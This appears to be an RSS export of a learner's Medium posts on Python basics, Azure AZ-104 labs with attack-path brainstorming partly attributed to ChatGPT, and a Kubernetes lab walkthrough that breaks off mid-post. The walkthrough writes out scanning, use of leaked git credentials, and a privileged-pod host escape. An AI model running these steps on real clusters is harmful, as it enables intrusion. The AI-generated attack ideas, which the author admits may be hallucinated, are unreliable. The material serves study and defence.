<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
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        <title><![CDATA[Stories by Toibat on Medium]]></title>
        <description><![CDATA[Stories by Toibat on Medium]]></description>
        <link>https://medium.com/@toibatbamigboye?source=rss-526ee6aefd2e------2</link>
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            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*XTDYrESeXYJi8Ej0CRBAYw.jpeg</url>
            <title>Stories by Toibat on Medium</title>
            <link>https://medium.com/@toibatbamigboye?source=rss-526ee6aefd2e------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 18:40:20 GMT</lastBuildDate>
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        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
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        <item>
            <title><![CDATA[Hello_World 2026]]></title>
            <link>https://medium.com/@toibatbamigboye/hello-world-2026-7fbee6b8aa69?source=rss-526ee6aefd2e------2</link>
            <guid isPermaLink="false">https://medium.com/p/7fbee6b8aa69</guid>
            <category><![CDATA[automate-with-python]]></category>
            <category><![CDATA[itexperience]]></category>
            <category><![CDATA[executable-python-script]]></category>
            <category><![CDATA[hello-world]]></category>
            <dc:creator><![CDATA[Toibat]]></dc:creator>
            <pubDate>Tue, 09 Jun 2026 09:42:44 GMT</pubDate>
            <atom:updated>2026-06-09T09:42:44.846Z</atom:updated>
            <content:encoded><![CDATA[<p>Creating the first executable python script is as easy as….</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gZJXZoppMcXlvjkDF4QWeA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y_tGIgcMfY29T_CVbmxNgA.png" /></figure><p>Steps:</p><ol><li>Create a python file (<strong><em>hello_world.py</em></strong>) using word editor (e.g nano)</li></ol><pre>nano hello_world.py</pre><p>2. Enter the contents as shown below:</p><pre>#!/usr/bin/env python3<br>print(“Hello, World”)</pre><p><em>Note:</em> the shebang line (#!/usr/bin/env python3) at the beginning of the file is to tell the Operating System the command to use execute the script.</p><p>4. Make the file executable using the chmod command.</p><pre>chmod +x hello_world.py</pre><p>5. Run the script</p><pre>./hello_world.py</pre><p>6. That’s all.</p><p>Again, ITExperience made this possible.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7fbee6b8aa69" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[It is 2026 and I am just learning Python]]></title>
            <link>https://medium.com/@toibatbamigboye/it-is-2026-and-i-am-just-learning-python-58854f7044e8?source=rss-526ee6aefd2e------2</link>
            <guid isPermaLink="false">https://medium.com/p/58854f7044e8</guid>
            <category><![CDATA[python]]></category>
            <category><![CDATA[automation-with-python]]></category>
            <category><![CDATA[learnpython2026]]></category>
            <dc:creator><![CDATA[Toibat]]></dc:creator>
            <pubDate>Mon, 08 Jun 2026 03:39:32 GMT</pubDate>
            <atom:updated>2026-06-08T03:39:32.546Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y_tGIgcMfY29T_CVbmxNgA.png" /></figure><p>For a long time, I have wondered how security researchers were able to write scripts to exploit a vulnerability. It felt like a high level thing and I wasn’t ready (yet).</p><p>It is really convenient that the exploits and payloads are readily available, but as I advance in my skills, I can see that it is important for me to understand how these came to be.</p><p>These are my thoughts:</p><ol><li>How did you know what to write?</li><li>How did you know how to write?</li><li>What happens if the script or tool I need has not been created?</li><li>What happens if I need to modify the scripts?</li><li>If they can do it, I can do it?</li><li>Now that AI can do it, is it still important?</li></ol><p>It is very important to learn it now because AI can make mistakes. In order to identify and correct these mistakes, I need the knowledge. The threat landscape keeps growing, AI was trained with past knowledge, it hallucinates and is also vulnerable meaning it may not be able to fix a future problem.</p><p>Most importantly, I don’t want to outsource my brain’s activity to AI.</p><p>I got sponsored by ITExperience through Coursera to learn “Google IT Automation with Python” and the first course made me rethink my intelligence. Kudos to developers and programmers, it takes a lot of brain power.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rSOAJStNckRfU_5qIEXGGA.png" /></figure><p>I am now on course 2 and I have plans to finish it this week. I have a strong believe in my potential.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=58854f7044e8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[AZ-104 Lab Journey (Day 6): Connecting Segmented Networks with VNet Peering and Custom Routing]]></title>
            <link>https://medium.com/@toibatbamigboye/az-104-lab-journey-day-6-connecting-segmented-networks-with-vnet-peering-and-custom-routing-57fe756ce5df?source=rss-526ee6aefd2e------2</link>
            <guid isPermaLink="false">https://medium.com/p/57fe756ce5df</guid>
            <category><![CDATA[cloud-security]]></category>
            <category><![CDATA[azure]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[virtual-networking]]></category>
            <category><![CDATA[az-104]]></category>
            <dc:creator><![CDATA[Toibat]]></dc:creator>
            <pubDate>Wed, 04 Feb 2026 10:26:51 GMT</pubDate>
            <atom:updated>2026-02-04T10:26:51.597Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tXINmgMpNDFsMEjk0gM7sg.png" /></figure><p>Today, with DiSEP5.0 X Teknowledge, we moved from isolated networking into something much closer to enterprise reality: <strong><em>segmented networks that still need controlled communication.</em></strong></p><p>The environment now mirrors a classic hub-and-spoke style design where core services and manufacturing workloads live in separate virtual networks but must communicate securely.</p><p>At every point, I thought of the possibility of a misconfiguration or things that could go wrong despite doing everything right. How does one troubleshoot incase of an incident?</p><h4>The scenario</h4><p>The organization separates<strong><em> core IT services</em></strong> (DNS, security tooling, shared services) from <strong><em>manufacturing services</em></strong>. This segmentation helps with security and blast-radius control, but it introduces a practical challenge:<br><strong><em>some workloads in manufacturing still need to communicate with services in the core network.</em></strong></p><p>This lab focused on enabling that communication intentionally and securely, instead of flattening the network.</p><h4>Task 1 &amp; 2: Building isolated networks with intent</h4><p>I started by creating:</p><ul><li>A<strong><em> Core Services virtual network</em></strong>, hosting a virtual machine</li><li>A <strong><em>Manufacturing Services virtual network</em></strong>, hosting a separate virtual machine</li></ul><p>At this stage, the networks were <strong>completely isolated </strong>— no implicit trust, no connectivity, no shortcuts.</p><h4>Task 3: Verifying connectivity with Network Watcher</h4><p>Before configuring any peering, I used <strong><em>Azure Network Watcher</em></strong> to test connectivity between the two virtual machines.</p><p>As expected:</p><ul><li>Communication failed</li><li>The test confirmed that isolation was enforced at the network level</li></ul><p>This step was subtle but important: instead of assuming how Azure behaves, I validated it. Network Watcher makes invisible networking decisions observable — which is just as useful for defenders as it is for attackers.</p><h4>Task 4: Enabling communication with virtual network peering</h4><p>Next, I configured <strong><em>virtual network peering </em></strong>between the Core Services VNet and the Manufacturing VNet.</p><p>Once peered:</p><ul><li>Resources in both networks could communicate using <strong><em>private IP addresses</em></strong></li><li>No public internet exposure was required</li><li>The networks remained logically separate but operationally connected</li></ul><p>This pattern is common in real-world Azure environments, especially when separating:</p><ul><li>Production vs development</li><li>Shared services vs business units</li><li>Parent companies vs subsidiaries</li></ul><h4>Task 5: Retesting connectivity with Azure PowerShell</h4><p>After peering, I re-tested connectivity using <strong><em>Azure PowerShell.</em></strong></p><p>This confirmed:</p><ul><li>End-to-end communication was now possible</li><li>Changes were effective and predictable</li><li>Connectivity could be validated programmatically, not just through the portal</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5P0O_GvXcN53la8zl2weUA.png" /></figure><p>Out of curiosity, I also tested the connectivity with <strong><em>Network Watcher</em></strong> to observe the difference. That being done, I learned that Network changes should always be verified, not assumed.</p><h4>Task 6: Controlling traffic with a custom route</h4><p>The final task introduced custom routing, which is where architecture and security start to overlap heavily.</p><p>The requirement was clear:</p><ul><li>All traffic between the perimeter subnet and internal core services subnet must flow through a virtual network appliance</li><li>Direct communication should not be allowed</li></ul><p>To achieve this, I created a <strong><em>user-defined route (UDR)</em></strong> that redirected traffic from the perimeter subnet to a Network Virtual Appliance (NVA). I was curious to observe the routing behaviour in action and understand what happens behind the scenes, but that visibility wasn’t available in the lab.</p><p>That limitation made me reflect on how fragile this setup can be in real environments — what happens if the route is applied to the wrong subnet, if the appliance becomes a single point of failure, or if traffic fails open when the appliance goes down?</p><p>The biggest takeaway from this lab for me is that every new connection expands the attack surface. Designing connectivity is easy; designing secure connectivity is the real challenge. This is exactly the kind of thinking I want to keep sharpening as I continue this journey.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=57fe756ce5df" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[AZ-104 Lab Journey (Day 5): Designing Scalable Azure Virtual Networks]]></title>
            <link>https://medium.com/@toibatbamigboye/az-104-lab-journey-day-5-designing-scalable-azure-virtual-networks-f2d8633fd1b7?source=rss-526ee6aefd2e------2</link>
            <guid isPermaLink="false">https://medium.com/p/f2d8633fd1b7</guid>
            <category><![CDATA[virtual-networking]]></category>
            <category><![CDATA[cloud-security]]></category>
            <category><![CDATA[azure]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[az-104]]></category>
            <dc:creator><![CDATA[Toibat]]></dc:creator>
            <pubDate>Tue, 03 Feb 2026 11:36:46 GMT</pubDate>
            <atom:updated>2026-02-04T10:44:55.849Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tXINmgMpNDFsMEjk0gM7sg.png" /></figure><p>Day 5 focused on Azure virtual networking as I continue my training with <strong><em>DiSEP5.0 and Teknowledge.</em></strong> This was the point where everything I’d learned so far — identity, governance, and automation — started to come together on top of a properly designed network.</p><p>This lab focused on the basics: address space planning, subnetting, security controls, and DNS.</p><h4>The Scenario</h4><p>My organization is planning a global Azure network rollout. The immediate goal is to support existing workloads, but the real priority is future growth.</p><p>Two virtual networks are required:</p><ul><li>CoreServicesVnet — Hosts shared services and databases<br>Expected to grow significantly over time</li><li>ManufacturingVnet — Supports manufacturing operations<br>Anticipates a large number of internally connected devices retrieving data</li></ul><p>To ensure consistency and reduce manual effort, the ManufacturingVnet is created by reusing the CoreServicesVnet template rather than starting from scratch.</p><p>Focus Areas:</p><ul><li>Virtual network and subnet design</li><li>Reusable deployment templates</li><li>Network Security Groups (NSGs)</li><li>Application Security Groups (ASGs)</li><li>Public and private Azure DNS zones</li></ul><p><strong>Task 1: Creating the CoreServicesVnet in the Portal</strong></p><p>I started by creating <strong><em>CoreServicesVnet</em></strong> in the Azure portal, assigning it a large address space:</p><ul><li>10.20.0.0/16</li></ul><p>This choice was deliberate. A /16 address space allows for significant expansion without needing to redesign the network later.</p><p>Within this virtual network, I created two subnets:</p><ul><li><strong><em>SharedServicesSubnet</em></strong> (10.20.10.0/24)</li><li><strong><em>DatabaseSubnet</em></strong> (10.20.20.0/24)</li></ul><p>Separating shared services from databases establishes clear security and traffic boundaries from the start.</p><p><strong>Task 2: Creating ManufacturingVnet Using the CoreServicesVnet Template</strong></p><p>Instead of manually recreating everything, I exported the <strong><em>CoreServicesVnet</em></strong> configuration as a template and reused it to deploy <strong><em>ManufacturingVnet.</em></strong></p><p>I then customized the template to reflect manufacturing requirements:</p><ul><li>Updated the address space to 10.30.0.0/16</li><li>Added: SensorSubnet1 (10.30.20.0/24) and SensorSubnet2 (10.30.21.0/24)</li></ul><p>This approach reinforced a key lesson:</p><p>“<strong><em>Reusability is just as important as correctness in cloud design.”</em></strong></p><p>Using a template ensured consistent structure while still allowing the network to evolve independently.</p><p><strong>Task 3: Securing Traffic with ASGs and NSGs</strong></p><p>Next, I focused on securing communication between workloads.</p><p>I created:</p><ul><li>An <strong><em>Application Security Group (ASG)</em></strong> to logically group application workloads</li><li>A <strong><em>Network Security Group (NSG)</em></strong> with two key rules: An <strong><em>Inbound rule</em></strong> that allows traffic originating from the ASG and an <strong><em>Outbound rule</em></strong> explicitly denying access to the internet.</li></ul><p>This design enforces the <strong><em>principle of least privilege</em></strong> at the network layer. Only approved application components can initiate inbound communication, and outbound traffic is tightly restricted to reduce the risk of data exfiltration, command-and-control callbacks, or unintended external dependencies.</p><p>What stood out to me here is how easily small configuration choices can drastically change an environment’s security posture. A single overly permissive outbound rule could quietly undermine every other control in place.</p><p><strong>Task 4: Configuring Azure DNS (Public and Private)</strong></p><p>Finally, I configured DNS to support name resolution across the environment.</p><ul><li>A <strong><em>public Azure DNS zone</em></strong> for internet-facing name resolution</li><li>A <strong><em>private Azure DNS zone</em></strong> for internal workloads</li></ul><p>Private DNS zones are only accessible from the virtual networks they’re linked to and cannot be queried from the internet. This allows internal services to resolve hostnames securely without exposing internal infrastructure.</p><p>For microservices, internal APIs, and backend systems, private DNS becomes a critical building block for secure service-to-service communication — especially in environments that prioritize isolation and zero-trust principles.</p><p><strong>Key Takeaways from Day 5</strong></p><ul><li>Address space planning should always account for growth</li><li>Subnets are security and management boundaries, not just IP ranges</li><li>Templates promote consistency and reduce human error</li><li>ASGs simplify network security at scale</li><li>DNS quietly underpins everything in Azure networking</li></ul><p>By the end of this lab, virtual networking felt less like theory and I will continue documenting what I learn as I go.</p><p>Thank you</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f2d8633fd1b7" width="1" height="1" alt="">]]></content:encoded>
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        <item>
            <title><![CDATA[AZ-104 Journey — Day 2 to 4]]></title>
            <link>https://medium.com/@toibatbamigboye/az-104-journey-day-2-to-4-eef99d5d73f1?source=rss-526ee6aefd2e------2</link>
            <guid isPermaLink="false">https://medium.com/p/eef99d5d73f1</guid>
            <category><![CDATA[cloud-security]]></category>
            <category><![CDATA[iac]]></category>
            <category><![CDATA[azure]]></category>
            <category><![CDATA[az-104]]></category>
            <category><![CDATA[azure-rbac]]></category>
            <dc:creator><![CDATA[Toibat]]></dc:creator>
            <pubDate>Mon, 26 Jan 2026 15:47:10 GMT</pubDate>
            <atom:updated>2026-01-26T15:47:10.942Z</atom:updated>
            <content:encoded><![CDATA[<h3>AZ-104 Journey — Day 2 to 4</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gciyA8MNINxxmwRm5bAFBg.png" /><figcaption>This image is AI generated</figcaption></figure><h3>Day 2: Managing Subscriptions and RBAC</h3><p><strong><em>Lab Scenario</em></strong></p><p>As Azure usage grows, managing access at scale becomes difficult. I was tasked with:</p><ol><li>Organizing subscriptions using management groups</li><li>Granting limited permissions across all subscriptions</li><li>Allowing engineers to:</li></ol><ul><li>Create and manage virtual machines</li><li>Create support request tickets (without adding Azure providers)</li></ul><p><strong><em>Tasks Performed</em></strong></p><ul><li>Implemented management groups</li><li>Reviewed and assigned built-in RBAC roles</li><li>Created a custom RBAC role</li><li>Monitored role assignments using the Activity Log</li></ul><p><strong><em>What I Learned</em></strong></p><ul><li>Management groups allow governance and access control above the subscription level</li><li>Built-in roles don’t always meet business requirements</li><li>Custom RBAC roles provide precise, least-privilege access</li><li>The Activity Log is essential for tracking changes to role assignments</li></ul><h3><strong><em>Offensive Security</em></strong></h3><p>Theme: Permission abuse &amp; scope escalation</p><h4>🔴 <strong>TTP Idea 1: Over-Permissioned Custom RBAC Role</strong></h4><p>I created a custom role.</p><p><strong><em>Attacker mindset:</em></strong></p><ol><li>Custom roles are often too broad</li><li>Admins accidentally include:</li></ol><ul><li>Microsoft.Authorization/*</li><li>*/write or */action</li></ul><p><strong><em>Attack path:</em></strong></p><ol><li>Enumerate role definitions</li><li>Identify excessive permissions</li><li>Abuse role to:</li></ol><ul><li>Assign yourself new roles</li><li>Modify resources outside intended scope</li></ul><p><strong><em>MITRE mapping:</em></strong></p><ol><li>Abuse of Authorization Mechanisms</li><li>Permission Group Discovery</li><li>Privilege Escalation</li></ol><h4>🔴 TTP Idea 2: Management Group Scope Abuse</h4><p>You assigned permissions at management group level.</p><p><strong><em>Attacker mindset:</em></strong></p><ul><li>If I compromise one identity at this level → I control all subscriptions</li></ul><p><strong><em>Attack path:</em></strong></p><ol><li>Compromise identity with MG-level access</li><li>Enumerate subscriptions</li><li>Deploy resources, extract secrets, pivot laterally</li></ol><p>This is high-impact, low-effort if misconfigured.</p><h3>Day 3: Managing Governance with Azure Policy</h3><p><strong>Lab Scenario</strong></p><p>An internal audit revealed that many Azure resources lacked:</p><ul><li>Defined owners</li><li>Project identifiers</li></ul><p>To improve governance, I implemented:</p><ul><li>Resource tagging</li><li>Azure Policy enforcement</li><li>Remediation of non-compliant resources</li><li>Resource locks for protection</li></ul><p><strong><em>Tasks Performed</em></strong><br>✔ Resource Tagging</p><p>I applied tags (such as owner, project, and cost center) to a resource group via the Azure portal.</p><p>✔ Azure Policy Enforcement</p><p>I assigned the built-in <strong><em>Require a tag and its value on resources policy</em></strong> to the resource group and evaluated compliance.</p><p>✔ Policy Remediation</p><p>I used a policy definition to remediate existing non-compliant resources and bring them into compliance.</p><p>✔ Resource Locks</p><p>I configured resource locks and tested them to ensure critical resources could not be accidentally deleted or modified.</p><h3><strong>Offensive Security</strong></h3><p>Theme: Governance bypass &amp; defense evasion</p><p>🔴 <strong>TTP Idea 1: Azure Policy Bypass via Allowed Paths</strong></p><p>I enforced required tags.</p><p><strong><em>Attacker mindset:</em></strong></p><p>Policies often allow exceptions such as Existing resources, Certain resource types, Specific locations</p><p><strong><em>Attack path:</em></strong></p><ol><li>Deploy resource type not covered by policy</li><li>Deploy before remediation kicks in</li><li>Use untagged resources to hide activity</li></ol><p><strong><em>MITRE concept:</em></strong></p><ol><li>Defense Evasion</li><li>Policy Evasion</li></ol><p>🔴 TTP Idea 2: Resource Lock Misuse</p><p>I used resource locks.</p><p><strong><em>Attacker mindset:</em></strong></p><ol><li>Who can remove locks?</li></ol><p>2. Can I lock malicious resources to prevent cleanup?</p><p><strong><em>Attack path:</em></strong></p><ol><li>Create persistence resource (VM, Function, Automation Account)</li><li>Apply ReadOnly or Delete lock</li><li>SOC can’t remove without elevated permissions</li></ol><p>💀 This is persistence, not protection.</p><h3>Day 4: Automating Deployments with ARM Templates and Bicep<br>Lab Scenario</h3><p>To reduce administrative overhead and human error, my team explored automated deployments using Infrastructure as Code.</p><p><strong><em>Tasks Performed</em></strong></p><p>I deployed<strong> five managed disks</strong>, each using a different deployment method.</p><p>✔ ARM Template via Azure Portal</p><ul><li>Created a managed disk</li><li>Exported the ARM template for reuse</li></ul><p>✔ Template Reuse</p><ul><li>Modified the exported template</li><li>Redeployed it to create a new managed disk</li></ul><p>✔ Azure PowerShell Deployment</p><ul><li>Configured Cloud Shell</li><li>Deployed the template using Azure PowerShell</li></ul><p>✔ Azure CLI Deployment</p><ul><li>Deployed a resource using the Azure CLI</li></ul><p>✔ Azure Bicep Deployment</p><ul><li>Deployed a managed disk using a pre-downloaded Bicep file</li><li>Observed how Bicep simplifies ARM syntax while remaining declarative</li></ul><h3>Offensive Security</h3><p>Theme: Supply chain &amp; automation abuse</p><h4>🔴 TTP Idea 1: Malicious ARM / Bicep Template Injection</h4><p>I reused exported templates.</p><p><strong><em>Attacker mindset:</em></strong></p><ol><li>Templates are code</li><li>Code can be weaponized</li></ol><p><strong><em>Attack path:</em></strong></p><ol><li>Modify ARM/Bicep template: Add hidden role assignment, Deploy backdoor VM, Enable diagnostic export to attacker storage</li><li>Admin deploys it trusting the template</li></ol><p><strong><em>MITRE mapping:</em></strong></p><ol><li>Supply Chain Compromise</li><li>Infrastructure-as-Code Abuse</li></ol><h4>🔴 TTP Idea 2: CLI Credential Theft</h4><p>I used Cloud Shell, CLI, PowerShell.</p><p><strong><em>Attacker mindset:</em></strong></p><ol><li>Where are tokens cached?</li><li>Who has access to Cloud Shell storage?</li></ol><p><strong><em>Attack path:</em></strong></p><ol><li>Access compromised Cloud Shell</li><li>Extract tokens / context</li><li>Reuse tokens to operate as victim</li></ol><p>This is common in post-exploitation cloud attacks.</p><p>*** At this point, I wasn’t sure if AI was hallucinating about these attack techniques but I also know that nothing is impossible when it comes to security ***</p><p>Note to self: One day, I’m going to have cloud access to TryHackMe and explore to my satisfaction</p><p>This content is for educational purposes only as I learn with Disep5.0 and Teknowledge.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=eef99d5d73f1" width="1" height="1" alt="">]]></content:encoded>
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        <item>
            <title><![CDATA[AZ-104 Journey — Day 1]]></title>
            <link>https://medium.com/@toibatbamigboye/az-104-journey-day-1-9f9c29f76656?source=rss-526ee6aefd2e------2</link>
            <guid isPermaLink="false">https://medium.com/p/9f9c29f76656</guid>
            <category><![CDATA[azure]]></category>
            <category><![CDATA[microsoft-entra-id]]></category>
            <category><![CDATA[az-104]]></category>
            <category><![CDATA[cloud-computing]]></category>
            <category><![CDATA[cloud-security]]></category>
            <dc:creator><![CDATA[Toibat]]></dc:creator>
            <pubDate>Mon, 26 Jan 2026 02:16:02 GMT</pubDate>
            <atom:updated>2026-01-26T02:16:31.640Z</atom:updated>
            <content:encoded><![CDATA[<h3>AZ-104 Journey — Day 1</h3><figure><img alt="Image is AI generated" src="https://cdn-images-1.medium.com/max/1024/1*chBzeCLEeu5Vys6AVIDDnA.png" /></figure><p>My cloud journey with Disep5.0 and teknowledge as an aspiring cloud penetration tester.</p><h4>Day 1: Provisioning Users and Groups with Microsoft Entra ID</h4><p><strong><em>Lab Scenario</em></strong></p><p>My organization is building a <strong>pre-production lab environment</strong> for testing applications and services. Engineers are being hired to manage the environment, including virtual machines.</p><p>To support this:</p><ul><li>Engineers must authenticate using Microsoft Entra ID</li><li>Users and groups need to be provisioned</li><li>Group membership should be automatically updated based on job titles to reduce administrative overhead</li></ul><p><strong><em>Tasks Performed</em></strong></p><ul><li>Created and configured user accounts</li><li>Created groups and added members</li></ul><p><strong><em>What I Did</em></strong><br>1️⃣ Created a Microsoft Entra ID Tenant</p><p>I navigated to Microsoft Entra ID → Manage tenants → Create tenant, selected Microsoft Entra ID, and provided:</p><ul><li>Organization name</li><li>Initial domain name</li><li>Country/region</li></ul><p>Once created, I switched into the new tenant to begin identity management.</p><p>2️⃣ Created User Accounts</p><p>Within the tenant:</p><ul><li>I navigated to Users → New user</li><li>Provided user details such as: User principal name, Display name, Auto-generated password, Job title, Department, Usage location</li></ul><p>The job title attribute was especially important, as it enables automation later.</p><p>3️⃣ Invited an External User</p><p>To simulate collaboration with external engineers:</p><ul><li>I selected Invite external user</li><li>Provided email and display name</li><li>Added properties such as job title, department, and usage location</li><li>Sent the invitation after review</li></ul><p>This reinforced how Entra ID supports both internal and external identities.</p><p>4️⃣ Created Groups and Added Members</p><p>I created a Security group with:</p><ul><li>Membership type: Assigned</li><li>One or more owners</li><li>Members added manually from the users created earlier</li></ul><p>After deployment, I reviewed group membership and ownership to confirm everything was configured correctly.</p><p>In the process of learning, I was thinking of how I would break it. More like how an attacker could approach this. Here is a possible response to my thoughts by ChatGPT</p><h4><strong>Theme: Identity manipulation &amp; access escalation</strong></h4><p>🔴 <strong>TTP Idea 1: Attribute Abuse → Privilege Escalation</strong></p><p>I relied on <strong>job titles</strong> to drive group membership.</p><p>Attacker mindset:</p><ul><li>Can I modify my own job title?</li><li>Can I trick HR / automation / sync (e.g., Entra Connect) into updating it?</li></ul><p><strong>Attack path:</strong></p><ol><li>Compromise a low-privileged user</li></ol><p>2. Modify user attributes (jobTitle = “Engineer”)</p><p>3. Automatically added to a privileged group</p><p>4. Inherit RBAC permissions</p><p><strong>MITRE-style thinking:</strong></p><ul><li>Account Manipulation</li><li>Identity Attribute Modification</li><li>Privilege Escalation via Dynamic Groups</li></ul><p>💡 This is a classic misconfiguration risk with dynamic groups</p><h4>🔴 TTP Idea 2: External User Abuse (B2B)</h4><p>You invited an <strong>external user</strong>.</p><p><strong>Attacker mindset:</strong></p><ol><li>Are external users:</li></ol><ul><li>Restricted by Conditional Access?</li><li>Limited in group membership?</li></ul><p>2. Can external users be added to <strong>security groups</strong> tied to RBAC?</p><p><strong>Attack path:</strong></p><ol><li>Phish or compromise external contractor account</li><li>Abuse over-permissive group membership</li><li>Gain access to internal Azure resources</li></ol><p><strong>Real-world note:</strong><br>This happens a lot in cloud breaches.</p><p>This article is for educational purposes only.</p><p>note to myself: I will get access to cloud platform on tryhackme in order to test my learning.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9f9c29f76656" width="1" height="1" alt="">]]></content:encoded>
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            <title><![CDATA[Kubernetes Cluster Compromise via Misconfiguration]]></title>
            <link>https://medium.com/@toibatbamigboye/kubernetes-cluster-compromise-via-misconfiguration-c07c89b1055d?source=rss-526ee6aefd2e------2</link>
            <guid isPermaLink="false">https://medium.com/p/c07c89b1055d</guid>
            <category><![CDATA[rbac]]></category>
            <category><![CDATA[pod-escalation]]></category>
            <category><![CDATA[k8s-misconfiguration]]></category>
            <category><![CDATA[git-credentials]]></category>
            <category><![CDATA[kubernetes]]></category>
            <dc:creator><![CDATA[Toibat]]></dc:creator>
            <pubDate>Sat, 17 Jan 2026 20:04:25 GMT</pubDate>
            <atom:updated>2026-01-17T20:04:25.623Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/410/0*RxCPnURXOP_kJcuq.png" /></figure><p>A practical walkthrough showing how a misconfigured Kubernetes cluster can be fully compromised using exposed services, leaked credentials, and excessive RBAC permissions. The attack culminates in host-level access through a privileged pod, demonstrating why Kubernetes security controls are critical in real-world environments.</p><h4>RECONNAISSANCE</h4><h4>Network Scanning</h4><p>Initial reconnaissance was performed using rustscan to quickly identify open ports on the target:</p><pre>rustscan -a 10.66.156.224</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/545/1*SjwIaRZWBu5Cn-qasPBmgQ.png" /></figure><p>This revealed multiple exposed services. To gain deeper insight, a full service and version scan was conducted on the identified ports:</p><pre>nmap -A -p22,3000,10250,10255,10257,10259,16443,25000,31337,32000 10.66.156.224</pre><p>The scan results indicated several Kubernetes-related services, including kubelet ports and a Kubernetes API endpoint (on a non-standard port), alongside web services.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/937/1*rM_e53cWN_9vOrxuo3UT0A.png" /></figure><h4>Web Enumeration</h4><p>Manual inspection of HTTP services revealed two ports of interest:</p><ul><li>Port 3000</li><li>Port 31337</li></ul><p>Port 31337 hosted a web application that warranted further enumeration.</p><h4>Directory Enumeration</h4><p>Directory enumeration was performed against the service on port 31337 using dirsearch:</p><pre>dirsearch -u http://10.66.156.224:31337/</pre><p>This revealed a sensitive file:</p><pre>/.git-credentials</pre><p>Accessing this file resulted in an automatic download. Upon inspection, the file contained an encoded URL. Decoding the URL (using <em>cyberchef</em>) revealed valid <strong>credentials</strong>, including a username, password, and target IP address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*qKS7EIpscGmMXPxyEfJS0Q.png" /></figure><h4>INITIAL ACCESS with SSH</h4><p>Using the recovered credentials, SSH access to the target was successfully obtained:</p><pre>ssh frank@10.66.156.224</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/963/1*VjE_zFP9I-3HgzR-fY8hdQ.png" /></figure><p>Upon login, the user.txt flag was located and retrieved.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/890/1*SE6iAvRseGu1JDj-03yeqQ.png" /></figure><p>Further inspection revealed that the session was running <strong>inside a Kubernetes pod</strong>, not directly on the host. Attempts to access privileged directories (e.g., /root) were denied, indicating the need for privilege escalation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/877/1*Y68Ou93KpoVY49-x3Fub_g.png" /></figure><h4>KUBERNETES ENUMERATION</h4><p><strong><em>RBAC Permission Analysis</em></strong></p><p>Given the Kubernetes context, RBAC permissions were enumerated using:</p><pre>microk8s kubectl auth can-i --list</pre><p>The output showed unrestricted permissions across all API resources and verbs (*.* with [*]), indicating <strong>cluster-admin–level access</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/942/1*mzmaLA8hITZmndPFBSuXXA.png" /></figure><p>This level of access allows unrestricted interaction with the Kubernetes API, including the creation of privileged workloads.</p><h4>PRIVILEGE ESCALATION VIA KUBERNETES</h4><p><strong><em>Pod Enumeration</em></strong></p><p>To blend into the environment and avoid unnecessary anomalies, existing pods were enumerated:</p><pre>microk8s kubectl get pods<br><br>microk8s kubectl get pods nginx-deployment-7b548976fd-77v4r -n default -o json</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/949/1*s1aqa6pEG4NzUyzeTI1P2w.png" /></figure><p>An existing <strong>nginx pod</strong> was identified. Its manifest was reviewed to extract the image in use. Reusing an existing image reduces the likelihood of detection or rejection by image policies.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/951/1*tGavH7aSDZi-SSS-qRK6dQ.png" /></figure><p><strong><em>Privileged Pod Deployment</em></strong></p><p>A custom pod manifest was created using the same container image as the existing nginx pod to reduce suspicion. The manifest included:</p><ul><li>privileged: true</li><li>hostNetwork, hostPID, and hostIPC enabled</li><li>A hostPath volume mounting the host root filesystem (/)</li></ul><pre>nano frank.yaml</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*uI7ioAeK6YgqZ4n7BGlbCg.png" /></figure><p>The pod was deployed as follows:</p><pre>microk8s kubectl -n default apply -f frank.yaml</pre><p>Once running, an interactive shell was obtained:</p><pre>microk8s kubectl -n default exec frank -i -t -- bash -il</pre><figure><img alt="" 